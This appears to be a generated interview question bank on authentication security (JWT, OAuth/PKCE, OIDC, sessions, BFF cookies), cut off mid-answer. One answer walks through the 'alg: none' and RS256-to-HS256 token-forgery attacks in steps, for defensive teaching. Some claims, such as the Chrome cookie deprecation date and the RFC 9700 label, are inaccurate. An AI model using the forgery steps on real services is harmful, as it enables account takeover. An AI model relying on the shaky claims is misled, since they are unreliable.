

GOKULAKONDA GAUTHAM

Senior Software Engineer | Deepta AI

Hyderabad, India

INTERVIEW QUESTION BANK — SESSION 4 OF 5

Security & Auth • System Design • DSA & Algorithms

FAANG / Indian Unicorn / AI-First Company Preparation

Target Roles	Backend/Platform Engineer, Full-Stack, AI/ML Engineer, Senior/Staff Engineer
Target Companies	FAANG, Razorpay, Postman, Zepto, AI-first companies
Difficulty Tiers	[E] Easy [M] Mid [A] Advanced [P] Principal
Total Questions	63 across 3 categories
Tech Stack Focus	Go, TypeScript, Python • PostgreSQL, Redis, Kafka • GCP/GKE

Generated: 26 June 2026

How to Use This Document

Tier System

[E] Easy — definition-level; any engineer with 1yr experience should know this

[M] Mid — internals, tradeoffs, how things actually work

[A] Advanced — edge cases, production debugging, non-obvious behaviour

[P] Principal — design under pressure, "build X from scratch", staff-level reasoning

Format Per Question

Every question contains four parts:

- ANSWER: The complete, detailed answer referencing your actual experience at Deepta AI
- IMPLEMENTATION CHALLENGE: A concrete coding or design task with specific constraints
- FOLLOW-UP PROBES: 4 questions the interviewer asks next (one is always a curveball)

Study Strategy

- Start with [E] and [M] questions to solidify fundamentals
- Practice [A] questions by coding them before reading the answer
- For [P] questions, practise out loud — time yourself to 45 minutes per design
- Use the Follow-Up Probes with a study partner who plays the interviewer role

Your Experience References

Questions reference your real experience wherever relevant:

- Deepta AI: Golang microservices, Kafka, Redis, JWT auth, BFF proxy, GKE, PostgreSQL
- Apxor: Vite migration, Chrome extensions, test automation, microservices
- Projects: PayGuard AI (LangGraph fraud detection), Vigilant (multi-agent AI), Zoom Clone (WebRTC)

Language Priority (as per your session plan)

JavaScript-first for DSA, Go for backend implementation challenges, Python for AI/ML sections.

Category 11: Security & Auth

23 questions [E] 3 [M] 12 [A] 8 [P] 0

[E] Easy Security & Auth > JWT Internals

Q1: Explain the structure of a JWT token. What are the three parts and what does each contain?

ANSWER

A JWT (JSON Web Token) is a compact, URL-safe token composed of three Base64URL-encoded parts separated by dots: header.payload.signature.

Header: A JSON object describing the token type and signing algorithm. Example: {"alg": "HS256", "typ": "JWT"}. The algorithm field is critical — it tells the verifier HOW to validate the signature, which is also a known attack surface (more on this in advanced tiers).

Payload (Claims): A JSON object containing the actual assertions about the user and token metadata. Standard registered claims include:

- iss (issuer): who issued the token
- sub (subject): user identifier
- exp (expiration): Unix timestamp after which the token is invalid
- iat (issued at): when the token was created
- jti (JWT ID): unique token identifier, useful for revocation

At Deepta AI, your JWT payload likely carries the user ID, role, and session metadata to enable stateless authorization across your Golang microservices.

Signature: Created by taking the encoded header + "." + encoded payload, then signing with the algorithm and secret/key. For HS256: HMAC-SHA256(base64(header) + "." + base64(payload), secret). For RS256, it uses a private key to sign and the public key to verify.

Critical misconception: JWTs are encoded, NOT encrypted. Anyone can decode the header and payload using base64url decoding. Never put sensitive data (passwords, PII) in a JWT payload unless you're using JWE (JSON Web Encryption).

IMPLEMENTATION CHALLENGE

Write a function in Go that manually decodes and validates a JWT without using any JWT library. Steps:

- Split the token on "."
- Base64URL-decode each part
- Unmarshal the header to extract the algorithm
- Recompute the HMAC-SHA256 signature from the header + payload
- Constant-time compare the expected vs received signature (use crypto/subtle)
- Parse the payload and check exp, iat, iss claims

Constraints: must reject tokens where exp is in the past; must reject tokens with missing required claims; use crypto/subtle.ConstantTimeCompare to prevent timing attacks.

FOLLOW-UP PROBES

1. Why must you use constant-time comparison for signature validation, and what attack does it prevent?
2. What happens if a client tampers with the payload — say, changes the role from 'user' to 'admin'?
3. The header says alg: none. What does your verifier do, and why?
4. Your JWT is 2KB. What are the network implications at scale, and how would you slim it down?

[M] Mid Security & Auth > JWT Internals

Q2: Compare RS256 and HS256 for JWT signing. When would you choose RS256 in a microservices environment like your Deepta AI setup?

ANSWER

HS256 (HMAC-SHA256): A symmetric algorithm. The same secret key is used to both sign AND verify tokens. This means every service that needs to verify a token must have the secret. In your Deepta AI setup with Golang microservices on GKE, distributing a shared secret to every service creates a large attack surface — a compromise of any service exposes the signing key, enabling token forgery.

RS256 (RSA-SHA256): An asymmetric algorithm. The auth service signs with a private key; any service can verify with the public key. The private key never leaves the auth service. This is the right choice for your architecture because:

- Public keys can be distributed freely to all microservices or exposed via a JWKS endpoint
- Compromise of a downstream service (e.g., your webhook processor) cannot forge tokens
- You can rotate keys independently per issuer
- Third parties (Google Ads webhook verifier, Facebook integrations) can verify your tokens without you sharing secrets

JWKS (JSON Web Key Set): RS256 works beautifully with a `/well-known/jwks.json` endpoint. Each microservice fetches the public keys on startup (or on cache miss) and verifies locally. Key rotation becomes: publish new key → wait for tokens signed with old key to expire → remove old key from JWKS.

When HS256 is acceptable: Single service, monolith, or where all verifiers are tightly controlled (e.g., a mobile app backend where only your own server verifies tokens). The simplicity and speed of HMAC can be preferred in lower-trust-boundary environments.

Performance note: RS256 signing is ~100x slower than HS256 due to RSA math. But signing happens once per login; verification (which just uses the public key) is fast. For high-throughput auth services, ES256 (ECDSA) offers asymmetric security at much better performance than RSA.

IMPLEMENTATION CHALLENGE

In your Deepta AI Golang auth service, implement a JWKS endpoint:

- Generate RSA key pair on startup (or load from GCP Secret Manager)
- Expose GET `/well-known/jwks.json` returning the public key in JWK format (n, e, kid, alg, use)
- Sign JWTs with the private key including a kid (key ID) header claim
- In downstream microservices, implement a JWKSClient that: fetches keys on startup, caches them, refreshes on unknown kid, and has a background goroutine rotating the cache every 6 hours
- Use `sync.RWMutex` for concurrent access to the key cache

Edge cases: kid not found in JWKS (retry once, then reject), JWKS endpoint down (serve from stale cache), RSA key sizes must be ≥ 2048 bits.

FOLLOW-UP PROBES

1. Your JWKS endpoint is down. How do downstream services handle verification, and what's your fallback strategy?
2. How does key rotation work in RS256 without causing a brief window of token rejection?
3. A hacker gets your RS256 public key. What can they do with it?
4. Why is ES256 (ECDSA) often preferred over RS256 in modern systems? What does it sacrifice?

[M] Mid Security & Auth > JWT Internals

Q3: You implemented refresh/access token rotation at Deepta AI. Walk me through the exact mechanism and how you prevent refresh token reuse attacks.

ANSWER

The rotation pattern you built:

Access tokens are short-lived (15 min – 1 hour) and stateless. Refresh tokens are long-lived (7–30 days) and stored server-side (in your PostgreSQL or Redis). When an access token expires:

1. Client sends the refresh token to /auth/refresh
2. Server validates the refresh token (signature + expiry + existence in DB/Redis)
3. Server issues NEW access token + NEW refresh token
4. Server INVALIDATES the old refresh token immediately
5. Returns both new tokens

Refresh Token Reuse Detection (Rotation Attack Prevention):

If an attacker steals a refresh token and uses it before the legitimate user, the user's next refresh attempt will use a token that has already been invalidated. A naive implementation simply rejects this — but the attacker may have already gotten new tokens.

The more robust approach is **token family/lineage tracking**:

- Each refresh token belongs to a "family" (UUID tied to the original login session)
- When a refresh token is used, it's marked consumed and a new one is issued in the same family
- If a CONSUMED token is presented: this is a replay attack signal → REVOKE THE ENTIRE FAMILY
- This invalidates all refresh tokens from that session, forcing re-login

In Redis (which you use at Deepta AI):

Store: refresh_token:{token_hash} → {user_id, family_id, consumed: false, expires_at}

Store: family:{family_id} → {revoked: false}

On reuse detection: SET family:{family_id} revoked=true → all tokens in that family are now invalid

Access token revocation problem: Since access tokens are stateless, you cannot revoke them before expiry. Mitigations:

- Keep access token TTL short (15 minutes)
- Maintain a token denylist in Redis (jti → revoked) with the same TTL as the token — check on every request
- Or use a reference token pattern where access tokens are opaque IDs looked up server-side

IMPLEMENTATION CHALLENGE

Implement refresh token rotation in Go with Redis:

- POST /auth/refresh accepts {refreshToken: string}
- Validate JWT signature and expiry
- Look up token hash in Redis: HGETALL refresh_token:{hash}
- If consumed=true: mark family as revoked in Redis, return 401
- If not consumed: atomically (using Redis MULTI/EXEC): mark old token consumed, store new refresh token, store new access token family link
- Return new {accessToken, refreshToken}
- All Redis keys must have TTLs matching token expiry

Constraints: use Redis pipelining for the atomic update; handle race condition where two concurrent refresh requests arrive with the same token (use SET NX for the consumed flag); implement a background goroutine that cleans up expired families every hour.

FOLLOW-UP PROBES

1. Your user has the app open on 3 devices simultaneously. How does your rotation scheme handle 3 concurrent refresh requests?
 2. Access token is 15 minutes. An admin account is compromised. How do you force-logout without waiting 15 minutes?
 3. How would you implement 'remember me for 30 days' while maintaining security?
 4. What is the sliding window vs fixed window debate for refresh token expiry, and which did you use at Deepta AI?
-

[A] **Advanced** *Security & Auth > JWT Internals*

Q4: Explain the JWT algorithm confusion (none) attack and the RS256-to-HS256 algorithm confusion attack. How would you prevent both in your Go auth middleware?

ANSWER

Attack 1: The 'none' Algorithm Attack

The JWT spec originally allowed alg: none, meaning unsigned tokens. An attacker can:

1. Take any valid JWT
2. Decode the header, change alg to "none"
3. Remove the signature (keep the trailing dot or remove it)
4. Modify the payload (e.g., role: admin)
5. Send the forged token

Libraries that naively trust the algorithm field will verify it as valid (because "none" means no signature to check). The attack works because the server reads WHICH algorithm to use from the token itself — a value controlled by the attacker.

Prevention: Hardcode the expected algorithm in your verifier. In Go:

- Never use a generic Parse() that trusts the header's alg
- Use ParseWithClaims with an explicit KeyFunc that checks alg:
if token.Method.Alg() != "RS256" { return nil, errors.New("unexpected alg") }
- Your KeyFunc MUST validate the algorithm before returning the key

Attack 2: RS256-to-HS256 Confusion Attack

This is more subtle. If a server uses RS256 and the public key is exposed (e.g., via JWKS endpoint), an attacker can:

1. Take the public key (it's public, so they have it)
2. Change the JWT header to alg: HS256
3. Sign the forged payload using HS256 with the PUBLIC key as the HMAC secret
4. Send to a server that auto-detects algorithm from header

A vulnerable server switches to HS256 mode, uses the public key as the HMAC secret, and verifies — successfully! Because the attacker signed with the same key the server uses.

Prevention: Same solution — hardcode the algorithm. If your service is RS256, reject any token claiming HS256. Your KeyFunc should be: "I only trust RS256; here is the public key; return error if token.Method != jwt.SigningMethodRS256".

Defense-in-depth in your Golang middleware:

- Whitelist allowed algorithms at parse time

- Validate kid against your JWKS cache
- Check iss and aud claims
- Verify exp and nbf
- Log and alert on algorithm mismatch attempts (they indicate an active attack, not a bug)

IMPLEMENTATION CHALLENGE

Write a production-grade JWT middleware in Go for your Deepta AI Golang microservices:

- Must hardcode RS256 as the only accepted algorithm
- Must validate iss, aud, exp, nbf, iat claims
- Must look up kid in JWKS cache (with mutex protection)
- Must return specific error types: ErrExpired, ErrInvalidAlgorithm, ErrInvalidSignature, ErrMissingClaim
- Must log algorithm confusion attempts (alg != RS256) as SECURITY events with the requester's IP
- Must use context to pass parsed claims to downstream handlers

Constraints: middleware must add < 1ms overhead on cache hits; implement circuit breaker for JWKS endpoint failures; use sync.Once for initial JWKS load.

FOLLOW-UP PROBES

1. If you hardcode RS256 and the attacker sends alg: RS256 but modifies the payload — what happens?
2. Your JWKS has two active keys (during rotation). How does the algorithm confusion check interact with kid selection?
3. A developer on your team accidentally logs the full JWT in production. What's your incident response?
4. What if the attacker has the private key (insider threat)? How does algorithm validation help or not help?

[A] **Advanced** *Security & Auth > JWT Internals*

Q5: The JWT revocation problem: JWTs are stateless by design, but real systems need to invalidate tokens before expiry (user logout, privilege revocation, suspicious activity). What are all the approaches and their tradeoffs?

ANSWER

The fundamental tension: stateless tokens enable horizontal scaling (no session lookup per request), but statelessness means the server cannot unilaterally revoke a token.

Approach 1: Short Expiry (Accept the Window)

Keep access token TTL at 5–15 minutes. On revocation, the user is logged out of the refresh token (stateful), and the access token expires shortly. Tradeoff: there's a window where a stolen access token is still valid. Acceptable for most consumer apps. This is the most common pattern — likely what you use at Deepta AI.

Approach 2: Token Denylist in Redis

On logout or revocation, store jti → timestamp in Redis with TTL = remaining token lifetime. Every request checks Redis. This effectively makes the system stateful again for revoked tokens. Tradeoff: adds ~1ms Redis lookup per request; Redis becomes a critical path dependency. Use Redis cluster/sentinel for HA. The denylist is small (only active revocations) so it's manageable.

Approach 3: Token Versioning

Store a token_version in your user table in PostgreSQL. Embed this version in the JWT payload. On each request, load the user's current version and compare — if they don't match, reject. Tradeoff: requires a DB/cache lookup per request (similar to sessions). Revocation is instantaneous. Can cache user versions in Redis with short TTL.

Approach 4: Short-lived Signatures with Key Rotation

Issue tokens signed with per-session keypairs or per-user private keys. Revoke by destroying the key. Extremely complex, rarely used in practice.

Approach 5: Reference Tokens (Opaque Tokens)

The "token" sent to the client is an opaque string. The server maps it to a session in Redis or DB. This is pure session-based auth with a random token. Fully revocable, but loses JWT's stateless benefits. Used when compliance requires immediate revocation (banking, healthcare).

Practical Recommendation for Your Deepta AI Setup:

- Access tokens: 15-minute TTL + jti denylist in your existing Redis for critical events (logout, role change, suspicious activity)
- Refresh tokens: token family rotation in PostgreSQL/Redis as you already do
- On role/permission change: force token version increment; check version in Redis cache (user_version: {user_id}) with 1-minute TTL
- This gives you sub-minute revocation for critical events while keeping requests mostly stateless

IMPLEMENTATION CHALLENGE

Design and implement a hybrid revocation system in Go:

- Normal logout: add jti to Redis denylist with TTL = remaining exp time
- Admin force-logout: increment user token_version in PostgreSQL, broadcast to Redis pub/sub
- Middleware checks (in order): 1) Redis denylist (fast path, O(1)), 2) token version check (Redis cache of user version, 1-min TTL), 3) full JWT validation
- Implement a Redis pub/sub listener that a goroutine subscribes to for version increment events, updating the local process cache immediately

Constraints: p99 latency must stay under 5ms; Redis denylist must use SET with EX (not EXPIREAT to avoid clock skew issues); version cache must be per-process with goroutine-safe access; force-logout must take effect within 60 seconds across all instances.

FOLLOW-UP PROBES

1. Your Redis denylist goes down. What is your fallback? Do you fail-open or fail-closed, and why?
2. GDPR requires that when a user deletes their account, all their data is erased immediately. How does this interact with JWT revocation?
3. You have 100 microservices each doing their own JWT validation. A security vulnerability is found and you need to revoke all tokens for 10,000 users. Walk me through the exact steps.
4. What if you switch to reference tokens? Redesign your token strategy from scratch with opaque tokens.

[E] Easy Security & Auth › OAuth 2.0

Q6: Explain OAuth 2.0 Authorization Code flow. Who are the parties involved and what is each step?

ANSWER

OAuth 2.0 is an authorization framework that enables a third-party application to obtain limited access to a user's resources on another service, without exposing credentials.

Four Parties:

- **Resource Owner:** The user who owns the data
- **Client:** The application requesting access (your app)
- **Authorization Server:** Issues tokens after authenticating the user (e.g., Google's auth server)
- **Resource Server:** Hosts the protected resource (e.g., Google Drive API)

Authorization Code Flow — Step by Step:

1. **Authorization Request:** Client redirects user to the Authorization Server with: `client_id`, `redirect_uri`, `response_type=code`, `scope`, and a random state parameter
2. **User Authentication & Consent:** Auth server authenticates the user and shows consent screen
3. **Authorization Code:** Auth server redirects back to `redirect_uri` with `code=XYZ` and the state parameter
4. **State Verification:** Client verifies state matches what it sent (CSRF protection)
5. **Token Exchange:** Client makes a back-channel POST to the token endpoint with: `code`, `client_id`, `client_secret`, `grant_type=authorization_code`, `redirect_uri`
6. **Access + Refresh Token:** Auth server returns `access_token`, `token_type`, `expires_in`, `refresh_token`
7. **API Calls:** Client uses `access_token` in Authorization: Bearer {token} header

Why Authorization Code vs Implicit?

The authorization code is exchanged via the back channel (server-to-server), keeping the actual access token out of the browser URL bar (which is logged in browser history and server logs). The deprecated Implicit Flow returned tokens directly in the URL fragment — a major security weakness.

IMPLEMENTATION CHALLENGE

Implement an OAuth 2.0 Authorization Code flow in Node.js/Express for integrating Google OAuth into your Deepta AI platform:

- GET `/auth/google`: generate state, store in session, redirect to Google
- GET `/auth/google/callback`: verify state, exchange code for tokens, fetch user profile, create/update user in PostgreSQL, issue your own JWT
- Handle errors: invalid state, expired code, scope mismatch
- Store the Google refresh token securely (encrypted at rest in PostgreSQL)

FOLLOW-UP PROBES

1. What is the state parameter and what specific attack does it prevent?
2. The authorization code can only be used once. Why? What happens if an attacker intercepts it?
3. Your `redirect_uri` in the request doesn't match what's registered. What should the auth server do?
4. Describe the difference between the access token and the authorization code in terms of who holds them and why.

[M] Mid Security & Auth > OAuth 2.0

Q7: Explain PKCE (Proof Key for Code Exchange). Why is it necessary for mobile and SPA applications, and how does it prevent authorization code interception?

ANSWER

The Problem PKCE Solves:

In mobile apps and SPAs, you cannot safely store a `client_secret`. If you embed it in your mobile app, any user can extract it by decompiling the APK. Without the `client_secret`, the token exchange step has no proof that the code was captured by the legitimate client.

Authorization Code Interception Attack (without PKCE):

On mobile, the `redirect_uri` might be a custom URL scheme (`myapp://callback`). Any app on the device can register the same scheme. A malicious app intercepts the authorization code from the redirect. It then calls the token endpoint with the stolen code — and since there's no `client_secret` required (public client), it succeeds.

How PKCE Works:

1. **Code Verifier:** Client generates a cryptographically random string (43–128 chars): `code_verifier`
2. **Code Challenge:** Client hashes it: `code_challenge = BASE64URL(SHA256(code_verifier))`

3. **Authorization Request:** Client sends `code_challenge` + `code_challenge_method=S256` with the auth request
4. **Auth Server stores** the `code_challenge` alongside the authorization code
5. **Token Exchange:** Client sends the original `code_verifier` (not the hash)
6. **Verification:** Auth server computes `SHA256(code_verifier)` and compares to stored `code_challenge` — only the original client knows the verifier

Why it prevents the attack:

The intercepting app gets the authorization code but doesn't know the `code_verifier` (it was never transmitted — only the hash was). Without it, the token exchange fails. The code is useless to the attacker.

PKCE for Confidential Clients Too:

RFC 9700 (OAuth 2.1) recommends PKCE even for confidential clients (those with `client_secret`) as defense-in-depth. The `code_challenge` adds an extra layer independent of the secret.

Your Deepta AI use case: Your embeddable JS packages on third-party university websites are public clients. If you're integrating OAuth for student authentication, PKCE is mandatory — you cannot use `client_secret` in browser-side code.

IMPLEMENTATION CHALLENGE

Implement OAuth 2.0 + PKCE flow in TypeScript for your embeddable JS package that runs on university websites:

- `generateCodeVerifier()`: generate 128-char random string using Web Crypto API (`window.crypto.getRandomValues`)
- `generateCodeChallenge(verifier)`: SHA-256 hash using `SubtleCrypto`, then `base64url` encode
- Store verifier in `sessionStorage` (not `localStorage` — tab-scoped)
- Build authorization URL with `code_challenge` and `code_challenge_method=S256`
- On callback: exchange code + verifier for tokens via your BFF proxy (to avoid CORS issues)
- BFF adds `client_secret` server-side before forwarding to auth server

Constraints: must work in all modern browsers without external libraries; handle the case where `SubtleCrypto` is unavailable (non-HTTPS context); implement nonce for OIDC; clean up verifier from `sessionStorage` after use.

FOLLOW-UP PROBES

1. A developer stores the `code_verifier` in `localStorage` instead of `sessionStorage`. What's the additional risk?
2. Your BFF is doing the token exchange server-side. Does PKCE still add value, or is `client_secret` sufficient?
3. What is S256 vs plain as the `code_challenge_method`? When would you ever use plain?
4. Describe the Device Authorization Grant. When would a university application platform use it?

[M] Mid Security & Auth > OAuth 2.0

Q8: When would you use the Client Credentials flow vs Authorization Code flow? Give a concrete example from a microservices context.

ANSWER

Client Credentials Flow: Machine-to-machine (M2M) authentication where no user is involved. The client authenticates AS ITSELF, not on behalf of a user.

Flow:

1. Service A sends `POST /token` with: `grant_type=client_credentials`, `client_id`, `client_secret`, `scope`
2. Auth server validates credentials and returns an `access_token`

3. Service A includes the token in requests to Service B
4. No user interaction, no redirect, no user consent

Authorization Code Flow: Human-in-the-loop. A user explicitly grants a client access to their resources. The client acts ON BEHALF OF the user.

When to Use Each:

Client Credentials:

- Your webhook integration at Deepta AI: when your backend calls Google Ads API to pull lead data, you're not acting as a user — you're acting as the Deepta AI system
- Service-to-service calls: your Kafka consumer microservice calling an internal metrics service
- Scheduled jobs/cron tasks (your background workers)
- No human is present; credentials stored in GCP Secret Manager, not in user sessions

Authorization Code (+ PKCE):

- Student logging into your university application platform — the student consents to sharing their Google profile
- When your platform needs to access a specific user's data (their university email, Drive files, etc.)
- Any flow where the resource belongs to a specific person

In Your Deepta AI Architecture:

- Student auth: Authorization Code + PKCE
- Deepta AI calling Google Ads API: Client Credentials (service account or OAuth client credentials)
- Deepta AI microservices talking to each other: mTLS or Client Credentials with an internal identity server (or JWT signed by an internal CA)

Scope of access differs: Client Credentials tokens have scopes defined by the client's service account permissions. Authorization Code tokens have scopes limited by what the USER consented to give.

IMPLEMENTATION CHALLENGE

Design a service authentication system for your Deepta AI Golang microservices:

- Implement a TokenProvider interface with GetToken(ctx, service string) string
- CachingTokenProvider caches tokens until 60 seconds before expiry (check exp from JWT payload)
- Use Client Credentials flow to obtain tokens from your auth service
- Background goroutine proactively refreshes tokens 5 minutes before expiry
- Implement circuit breaker: if auth service is down, serve stale cached token for up to 5 minutes, then fail
- Propagate tokens via gRPC metadata or HTTP Authorization header

Constraints: multiple goroutines may call GetToken concurrently; use sync.RWMutex with double-checked locking pattern; token cache must be per-target-service (Kafka service vs API Gateway have different scopes); implement metrics: token_fetch_latency_ms, token_cache_hit_ratio.

FOLLOW-UP PROBES

1. Client Credentials uses client_secret. How do you rotate the secret in production without downtime?
2. Service A has a token scoped to read:students. It tries to write student data. Who enforces the scope — the token issuer or the resource server?
3. Your Client Credentials token is leaked in logs. An attacker has it. What can they do and how do you respond?
4. Describe how you'd implement service mesh identity (like SPIFFE/SPIRE) as an alternative to Client Credentials.

[A] **Advanced** Security & Auth › OAuth 2.0 & OIDC

Q9: Explain OpenID Connect (OIDC) and how it layers on top of OAuth 2.0. What is the ID token and how does it differ from an access token?

ANSWER

OAuth 2.0 is an authorization framework — it answers "what can this app DO on behalf of the user?" It gives you an access token that grants access to resources, but it says nothing about WHO the user is.

OIDC adds authentication — it answers "WHO is the user?" It layers identity on top of OAuth by introducing the ID token.

How OIDC extends OAuth 2.0:

- Add openid to the requested scopes
- Auth server returns BOTH an access token AND an id_token (a JWT)
- Optional: fetch additional user info from the UserInfo endpoint using the access token
- Optional: nonce parameter prevents replay attacks in browser flows

The ID Token:

An ID token is a JWT containing claims about the authentication event:

- sub: the user's unique identifier at the provider (stable, never changes)
- iss: the issuer (e.g., <https://accounts.google.com>)
- aud: must contain your client_id — your application is the intended audience
- exp, iat: token lifetime
- nonce: echoed back to prevent replay
- auth_time: when the user last authenticated
- email, name, picture (if those scopes were requested)
- acr: authentication context class (e.g., "urn:mfa" if MFA was used)

ID Token vs Access Token:

Dimension	ID Token	Access Token
Audience	Your client application	Resource server (API)
Purpose	Prove WHO the user is	Authorize API calls
Format	Always JWT	JWT or opaque string
Should be sent to APIs?	NO	YES
Contains user info?	YES (profile claims)	Minimal (user ID, scopes)

Critical error: Never send an ID token to an API as a Bearer token. The API should receive access tokens. The ID token is for YOUR application to consume — to know who logged in. Sending it to APIs violates its aud claim and creates security issues.

In your Deepta AI student login: After Google OAuth + OIDC, you extract the sub claim from the ID token as the stable user identifier, store the email and name in your PostgreSQL users table, then issue your own JWT for subsequent API calls. You don't send Google's tokens to your own APIs.

IMPLEMENTATION CHALLENGE

Implement OIDC sign-in with Google in your Deepta AI Go backend:

- Fetch Google's OIDC discovery document (<https://accounts.google.com/.well-known/openid-configuration>)
- Cache the discovered JWKS URI and token endpoint
- Validate the id_token: verify signature using Google's JWKS, check iss == "https://accounts.google.com", check aud == your client_id, check exp, verify nonce matches session

- Extract sub, email, name from claims
- Upsert user in PostgreSQL: INSERT ... ON CONFLICT (google_sub) DO UPDATE
- Issue your own JWT with user_id, role, email
- Implement nonce: store in Redis with 10-minute TTL before redirect, verify and delete on callback

Constraints: must handle Google key rotation (unknown kid triggers JWKS refresh); must reject tokens more than 5 minutes old even if not expired (clock skew protection); nonce must be deleted from Redis after use (one-time).

FOLLOW-UP PROBES

1. A user's Google account gets compromised. They change their password. Does your OIDC session invalidate automatically?
2. What is 'state' vs 'nonce' in OIDC — they serve different purposes. Explain each.
3. You want to implement 'Login with University SSO' using SAML, but your new services use OIDC. How do you bridge them?
4. What is the backchannel logout spec? When would you implement it?

[M] Mid Security & Auth > Session vs Token Auth

Q10: Compare session-based authentication with JWT-based authentication. When would you choose each, and what are the security implications of each choice?

ANSWER

Session-Based Authentication:

- Server creates a session record (user_id, expiry, metadata) stored in Redis/DB
- Returns an opaque session_id cookie (HttpOnly, Secure, SameSite)
- Every request: server looks up session_id → session data
- Revocation is instant: delete the session record
- Stateful: every auth check requires a server round-trip (Redis, typically 1ms)

JWT-Based Authentication:

- Server issues a signed JWT containing all needed claims
- Client stores token (localStorage, sessionStorage, or cookie)
- Every request: server validates JWT signature and claims — NO database lookup
- Revocation is hard (statelessness trade-off)
- Stateless: scales horizontally without session affinity

Security Comparison:

Concern	Sessions	JWTs
Token revocation	Instant (delete session)	Requires denylist (adds latency) or short TTL
XSS risk	Lower (HttpOnly cookie)	Higher if stored in localStorage
CSRF risk	Higher (cookies sent automatically)	Lower (tokens not sent automatically)
Payload exposure	Session ID is opaque	Payload is base64-decoded
Scalability	Requires shared session store	Stateless, scales freely
Logout	Server-controlled	Client-controlled (or denylist)

When to choose sessions:

- Banking/healthcare (immediate revocation mandatory)
- Server-rendered web apps (SSR with cookies is natural)
- When you control both client and server and can use HttpOnly cookies
- Long sessions where revoking on suspicious activity is business-critical

When to choose JWTs:

- Microservices where multiple services validate tokens (no shared session store)
- Mobile APIs
- Cross-origin scenarios (your embeddable JS packages on university websites)
- Short-lived tokens (< 15 min) where revocation window is acceptable

Your Deepta AI context: JWT makes sense given your Golang microservices on GKE — each service validates tokens independently without a session DB call. But you still need the Redis denylist for logout. For your BFF cookie pattern, you convert to HttpOnly first-party cookies on the BFF boundary, giving you session-like security properties at the browser while keeping JWT benefits internally.

IMPLEMENTATION CHALLENGE

Design an auth system that supports both session and JWT simultaneously for your university platform:

- Students using the web app: cookie-based sessions via BFF (HttpOnly, SameSite=Strict, 8-hour TTL)
- Partner APIs (Google Ads, Facebook webhooks): JWT with Client Credentials
- Mobile app: JWT with refresh token rotation
- Admin dashboard: session + MFA requirement

The BFF (which you built at Deepta AI) issues a session cookie after JWT verification — implement this translation layer in Go. Session data cached in Redis, original JWT stored encrypted in the session for downstream use.

Constraints: BFF session cookie must be rotated on every response (sliding window); implement SameSite cookie detection for older browsers; Redis session store must handle 10k concurrent sessions with sub-ms read latency.

FOLLOW-UP PROBES

1. A user opens 3 tabs. They log out in tab 1. How do tabs 2 and 3 behave under sessions vs JWT?
2. Your Redis session store goes down. Sessions or JWTs — which degrades more gracefully, and how?
3. How do you implement 'active sessions list' (like Google's Manage Devices page) with JWTs?
4. You need to add MFA step-up authentication — the user is logged in but must verify MFA before accessing billing. How do you model this in both session and JWT schemes?

[M] Mid Security & Auth > BFF Cookie Pattern

Q11: You built a BFF reverse proxy at Deepta AI to convert third-party cookies to first-party cookies. Explain why this was necessary and exactly how the BFF cookie pattern works.

ANSWER

The Problem: Third-Party Cookie Deprecation

Your embeddable JS packages render on third-party university websites (e.g., university.edu). When your code at deepta.ai makes requests or sets cookies, these are third-party cookies from the browser's perspective — because the top-level domain is university.edu, not deepta.ai.

Modern browsers (Safari ITP, Firefox ETP, Chrome Privacy Sandbox) either block third-party cookies entirely or apply severe restrictions:

- Safari: ITP blocks all cross-site tracking cookies
- Chrome: deprecated third-party cookies in 2024
- This broke your tracking, session management, and analytics for students applying through university websites

The BFF Solution:

You deployed a Backend-For-Frontend (BFF) proxy that universities embed as a subdomain: `apply.university.edu` → proxy → `deepta.ai`. Now:

- Browser sees the request going to `apply.university.edu` (first-party context)
- The BFF receives the request, strips/transforms cookies, forwards to your actual Deepta AI backend
- Deepta AI's auth cookies are set on `apply.university.edu` — first-party in that context
- Browser happily accepts and sends these cookies on subsequent requests

Cookie Attributes That Matter:

- **HttpOnly:** Cannot be read by JavaScript (prevents XSS cookie theft). Set this on all auth cookies.
- **Secure:** Only sent over HTTPS (never HTTP). Mandatory in production.
- **SameSite=Lax:** Cookie sent on navigation but not on cross-site subrequests. Safe default.
- **SameSite=Strict:** Cookie only sent in first-party context. Most secure, but breaks OAuth redirects.
- **SameSite=None; Secure:** Required for explicit cross-site cookie sharing (third-party context) — increasingly blocked.
- **__Host- prefix:** Cookie must be Secure, no Domain attribute, Path=/. The most secure prefix.
- **__Secure- prefix:** Cookie must be Secure attribute.

Your BFF Flow:

1. Student browser on `university.edu` loads your embeddable JS
2. JS makes request to `apply.university.edu/api/*` (first-party)
3. BFF receives request, appends Deepta AI authentication headers (or transforms the session cookie to an internal JWT)
4. BFF forwards to your Golang microservices on GKE
5. Response cookies from Deepta AI are set on `apply.university.edu` domain by the BFF
6. Browser accepts them as first-party cookies

IMPLEMENTATION CHALLENGE

Implement the BFF reverse proxy in Go that you built at Deepta AI:

- Incoming request has a Deepta session cookie (first-party in `university.edu` context)
- BFF validates the session (lookup in Redis), gets the user JWT
- BFF strips the session cookie from the forwarded request
- BFF adds `Authorization: Bearer {jwt}` header to the upstream request
- BFF forwards to the appropriate Deepta microservice based on path prefix
- BFF receives response, can translate any `Set-Cookie` headers from upstream to use `university.edu` domain

Additionally implement:

- CORS handling: Origin whitelist of registered university domains
- Cookie rewriting: transform `Set-Cookie` headers to add `SameSite=Lax`, `Secure`, `HttpOnly`
- Request signing: add `X-BFF-Request-ID` header for traceability
- Rate limiting per session to prevent abuse

Constraints: proxy must handle WebSocket upgrades for real-time features; must preserve streaming responses (SSE for form progress); university domain whitelist must be dynamically configurable without restart (load from Redis).

FOLLOW-UP PROBES

1. A university wants to use a CNAME pointing their subdomain to your BFF. What DNS and TLS challenges arise?
2. Your BFF now has all student sessions. What are the security implications of this centralization?
3. Chrome's Privacy Sandbox uses partitioned cookies (CHIPS). How does this change your architecture?

4. How would you handle the scenario where a student has your page open in both a private window and normal window — same or different sessions?

[A] **Advanced** Security & Auth › BFF Cookie Pattern

Q12: Explain SameSite cookie attribute in detail — all three values, their behavior, and how they interact with OAuth flows and CSRF protection.

ANSWER

SameSite=Strict:

Cookie is ONLY sent when the request originates from the same site as the cookie domain. "Same site" = same registrable domain (eTLD+1). If a user clicks a link from gmail.com to yourapp.com, Strict cookies are NOT sent on the first navigation request. This is excellent CSRF protection but breaks many legitimate patterns:

- OAuth callbacks from Google → your app: Strict cookies won't be present → user appears logged out
- Email links to your app: no session on first load
- Used for: high-security actions (banking transfers, not for session cookies)

SameSite=Lax (default in modern browsers if not specified):

